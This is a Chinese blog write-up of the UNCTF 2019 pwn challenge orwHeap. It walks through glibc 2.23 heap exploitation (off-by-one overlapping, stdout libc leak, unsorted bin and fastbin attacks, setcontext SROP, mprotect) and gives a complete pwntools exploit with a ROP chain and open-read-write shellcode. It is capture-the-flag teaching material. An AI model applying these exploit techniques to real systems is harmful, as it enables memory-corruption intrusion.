目錄
  1. 1. 前言
  2. 2. 分析
UNCTF 2019 pwn orwHeap详解

前言

这道题是glibc2.23环境的堆题,包含多种知识与技巧。例如:沙箱函数、overlapping、利用_IO_2_1_stdout_泄漏libc、unsorted bin attack、fastbin attack、setcontext、mprotect、srop等等。

分析

检查保护机制,保护全开

1
2
3
4
5
6
7
➜  unctf_orwheap checksec pwn     
[*] '/mnt/hgfs/shared/unctf_orwheap/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

ida静态分析

可以发现在add函数处存在off by one。但是限制了size大小(size > 0x67 && size <= 0x3F0),这样我们依然可以进行overlapping。

1
2
3
4
5
6
7
8
9
10
add(0x68,'0'*0x60)
add(0x78,'0'*0x70)
add(0x68,(p64(0)+p64(0x21))*6) #绕过inuse(p)的检测
add(0x68,(p64(0)+p64(0x21))*6)

delete(0)
add(0x68,'0'*0x68+'\xf1')
delete(1) #触发overlapping
delete(2)
add(0x78,'1'*0x70)

此时bin的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55e33cd130f0 —▸ 0x7f577e8c2b78 (main_arena+88) ◂— 0x55e33cd130f0
0x80: 0x0
unsortedbin
all: 0x55e33cd130f0 —▸ 0x7f577e8c2b78 (main_arena+88) ◂— 0x55e33cd130f0
smallbins
empty
largebins
empty

查看0x55e33cd130f0的chunk

1
2
3
4
5
6
7
8
9
pwndbg> heap 0x55e33cd130f0
0x55e33cd130f0 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x7f577e8c2b78 <main_arena+88>,
bk = 0x7f577e8c2b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

此时如果有show的功能的话,就可以直接add(0x68,’2’*0x60)从而泄露<main_arena+88>的地址再计算得到libc基址。但这里没有libc基址,于是只好利用_IO_2_1_stdout_泄漏libc。具体操作如下:

1、修改fd的低字节为’\xdd\x25’,让它指向_IO_2_1_stdout_。这里的2需要爆破,概率为1/16

2、利用fastbin attack可以修改_IO_2_1_stdout_的flag字段从而泄露libc

1
2
3
4
5
6
7
8
pwndbg> p stdout
$5 = (struct _IO_FILE *) 0x7f41f9aa4620 <_IO_2_1_stdout_>
pwndbg> x/10gx 0x7f41f9aa45dd
0x7f41f9aa45dd <_IO_2_1_stderr_+157>: 0x41f9aa3660000000 0x000000000000007f
0x7f41f9aa45ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
0x7f41f9aa45fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
0x7f41f9aa460d <_IO_2_1_stderr_+205>: 0x0000000000000000 0x41f9aa26e0000000
0x7f41f9aa461d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0x41f9aa46a3000000

利用脚本如下

1
2
3
4
5
6
7
8
9
10
delete(0)
add(0x68,'0'*0x68+'\xa1')
delete(1)
add(0x82,'1'*0x70+'\n') #0x82是为了防止read函数末尾补'\x0a'
edit(1,'1'*0x70+p64(0)+p64(0x71)+'\xdd\x25')
add(0x68, (p64(0) + p64(0x21)) * 6)
add(0x68,'\x00'*0x33+p64(0xfbad1800)+3*p64(0)+'\x00')
leak=u64(p.recv(8).ljust(8,'\x00'))
libc_base = leak - (0x7ffff7a89b00 -0x7ffff7a0d000)
log.success("libc_base:"+hex(libc_base))

有了libc基址,我们本可以再次利用fastbin attack修改掉malloc_hook为one_gadget直接get shell。但是,ida分析的时候发现存在沙箱函数prctl。可以使用secconp-tools查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  unctf_orwheap seccomp-tools dump ./pwn      
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011
0004: 0x15 0x06 0x00 0x0000003b if (A == execve) goto 0011
0005: 0x15 0x00 0x04 0x00000001 if (A != write) goto 0010
0006: 0x20 0x00 0x00 0x00000024 A = count >> 32 # write(fd, buf, count)
0007: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0010
0008: 0x20 0x00 0x00 0x00000020 A = count # write(fd, buf, count)
0009: 0x15 0x01 0x00 0x00000010 if (A == 0x10) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL

禁掉execve函数,因此无法直接get shell。这时可以通过orw得到flag。但是没有可用的栈空间,于是我们可以利用setcontext函数调用srop来进行栈迁移,最后call mprotect -> shellcode。

这时候可以利用堆空间来部署SigreturnFrame(),然后将利用fastbin attack将__free_hook的地址改成setcontext。在改写__free_hook之前我们需要利用unsorted bin attack来伪造chunk size。(不得不说,unsorted bin attack确实是打辅助的好手)

1
2
3
4
5
6
7
8
#unsorted bin attack
delete(0)
add(0x68,'0'*0x68+'\xa1')
delete(1)
add(0x98,'1'*0x70+p64(0)+p64(0x91))
delete(2)
edit(1,'1'*0x70+p64(0)+p64(0x91)+p64(0)+p64(free_hook-0x20))
add(0x88,'2'*0x60)

攻击效果bck->fd = unsorted_chunks(av)

1
2
3
4
5
6
pwndbg> x/10gx 0x7f9fe23c37a8-0x20                                                   
0x7f9fe23c3788 <_IO_stdfile_1_lock+8>: 0x0000000000000000 0x0000000000000000
0x7f9fe23c3798 <_IO_stdfile_0_lock+8>: 0x00007f9fe23c1b78 0x0000000000000000
0x7f9fe23c37a8 <__free_hook>: 0x0000000000000000 0x0000000000000000
0x7f9fe23c37b8 <next_to_use.11232>: 0x0000000000000000 0x0000000000000000
0x7f9fe23c37c8 <disallow_malloc_check>: 0x0000000000000000 0x0000000000000000

利用fastbin attack将__free_hook的地址改成setcontext,并布置好SigreturnFrame()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#fastbin attack
edit(1,'1'*0x70+p64(0)+p64(0x71))
delete(2)
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p64(free_hook - 0x13))

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = (free_hook) & 0xfffffffffffff000 #
frame.rdx = 0x2000
frame.rsp = (free_hook) & 0xfffffffffffff000 #栈迁移
frame.rip = libc_base + 0xbc375 #: syscall; ret; 此rax=0,调用read
payload = str(frame)
print len(frame)
add(0x68, payload[0x80:0x80 + 0x60])
add(0x68, 'fff' + p64(libc_base + libc.symbols['setcontext'] + 53))

edit(1, payload[:0x98])
delete(1) #触发SROP

这里要说一下setcontext函数;

1
int setcontext(const ucontext_t *ucp);

这个函数的作用主要是用户上下文的获取和设置,可以利用这个函数直接控制大部分寄存器和执行流:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> x/80i 0x7ffff7a7bb50
0x7ffff7a7bb50 <setcontext>: push rdi
0x7ffff7a7bb51 <setcontext+1>: lea rsi,[rdi+0x128]
0x7ffff7a7bb58 <setcontext+8>: xor edx,edx
0x7ffff7a7bb5a <setcontext+10>: mov edi,0x2
0x7ffff7a7bb5f <setcontext+15>: mov r10d,0x8
0x7ffff7a7bb65 <setcontext+21>: mov eax,0xe
0x7ffff7a7bb6a <setcontext+26>: syscall
0x7ffff7a7bb6c <setcontext+28>: pop rdi
0x7ffff7a7bb6d <setcontext+29>: cmp rax,0xfffffffffffff001
0x7ffff7a7bb73 <setcontext+35>: jae 0x7ffff7a7bbd0 <setcontext+128>
0x7ffff7a7bb75 <setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
0x7ffff7a7bb7c <setcontext+44>: fldenv [rcx]
0x7ffff7a7bb7e <setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
0x7ffff7a7bb85 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x7ffff7a7bb8c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7ffff7a7bb93 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7ffff7a7bb97 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7ffff7a7bb9b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7ffff7a7bb9f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7ffff7a7bba3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7ffff7a7bba7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7ffff7a7bbae <setcontext+94>: push rcx
0x7ffff7a7bbaf <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7ffff7a7bbb3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x7ffff7a7bbba <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7ffff7a7bbc1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7ffff7a7bbc5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7ffff7a7bbc9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x7ffff7a7bbcd <setcontext+125>: xor eax,eax
0x7ffff7a7bbcf <setcontext+127>: ret
0x7ffff7a7bbd0 <setcontext+128>: mov rcx,QWORD PTR [rip+0x3572a1] # 0x7ffff7dd2e78
0x7ffff7a7bbd7 <setcontext+135>: neg eax
0x7ffff7a7bbd9 <setcontext+137>: mov DWORD PTR fs:[rcx],eax
0x7ffff7a7bbdc <setcontext+140>: or rax,0xffffffffffffffff
0x7ffff7a7bbe0 <setcontext+144>: ret

这里需要说明的是:

  1. 一般是从setcontext+53开始用的,不然程序容易崩溃,主要是为了避开fldenv [rcx]这个指令。
  2. 64位中第一个参数刚好在rdi中,因此这里的rdi即frame的地址。
  3. mov rcx,QWORD PTR [rdi+0xa8]; push rcxmov rip,QWORD PTR [rdi+0xa8]利用push是保证指向的内存可访问,否则就会crash。

这是我们已经把栈迁移到(free_hook) & 0xfffffffffffff000 ,并可以在改地址处写入0x2000字节的数据,下面构造好ROP链即可

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux')
context.terminal = ['tmux','split','-h']

debug = 1
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./pwn')

else:
print "remote"

def add(size,content):
p.sendlineafter('Choice: ','1')
p.sendlineafter('size: ',str(size))
p.sendlineafter('content: ',content)

def delete(idx):
p.sendlineafter('Choice: ','2')
p.sendlineafter('idx: ',str(idx))

def edit(idx,content):
p.sendlineafter('Choice: ','3')
p.sendlineafter('idx: ',str(idx))
p.sendlineafter('content: ',content)

while True:
try:
add(0x68,'0'*0x60)
add(0x78,'1'*0x70)
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')

delete(0)
add(0x68,'0'*0x68+'\xf1')
delete(1)
delete(2)
add(0x78,'0'*0x70)

delete(0)
add(0x68,'0'*0x68+'\xa1')
delete(1)
add(0x82,'1'*0x70)
edit(1,'1'*0x70+p64(0)+p64(0x71)+'\xdd\x25')
# gdb.attach(p)
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')
add(0x68,'\x00'*0x33+p64(0xfbad1800)+3*p64(0)+'\x00')
leak=u64(p.recv(8).ljust(8,'\x00'))
libc_base = leak - (0x7ffff7a89b00 -0x7ffff7a0d000)
log.success("libc_base:"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
log.success("free_hook:"+hex(free_hook))

except:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./pwn')
else:
break

#unsorted bin attack
delete(0)
add(0x68,'0'*0x68+'\xa1')
delete(1)
add(0x98,'1'*0x70+p64(0)+p64(0x91))
delete(2)
edit(1,'1'*0x70+p64(0)+p64(0x91)+p64(0)+p64(free_hook-0x20))
add(0x88,'2'*0x60)
gdb.attach(p)
#fastbin attack
edit(1,'1'*0x70+p64(0)+p64(0x71))
delete(2)
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p64(free_hook - 0x13))

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = (free_hook) & 0xfffffffffffff000 #
frame.rdx = 0x2000
frame.rsp = (free_hook) & 0xfffffffffffff000
frame.rip = libc_base + 0xbc375 #: syscall; ret;
payload = str(frame)
print len(frame)
add(0x68, payload[0x80:0x80 + 0x60])
add(0x68, 'fff' + p64(libc_base + libc.symbols['setcontext'] + 53))

edit(1, payload[:0x98])
delete(1)

pop_rdi_ret = libc_base + 0x21102
pop_rsi_ret = libc_base + 0x202e8
pop_rdx_ret = libc_base + 0x1b92
pop_rax_ret = libc_base + 0x33544
jmp_rsp = libc_base + 0x2a71
payload = p64(pop_rdi_ret) + p64((free_hook) & 0xfffffffffffff000)
payload += p64(pop_rsi_ret) + p64(0x2000)
payload += p64(pop_rdx_ret) + p64(7)
payload += p64(pop_rax_ret) + p64(10) #mprotect调用号
payload += p64(libc_base + 0xbc375)
payload += p64(jmp_rsp)
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js failed

mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall

jmp exit

failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')
# gdb.attach(p)
p.send(payload + shellcode)

p.interactive()
文章作者: kangel
文章鏈接: https://j-kangel.github.io/2020/04/01/UNCTF-2019-pwn-orwHeap详解/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL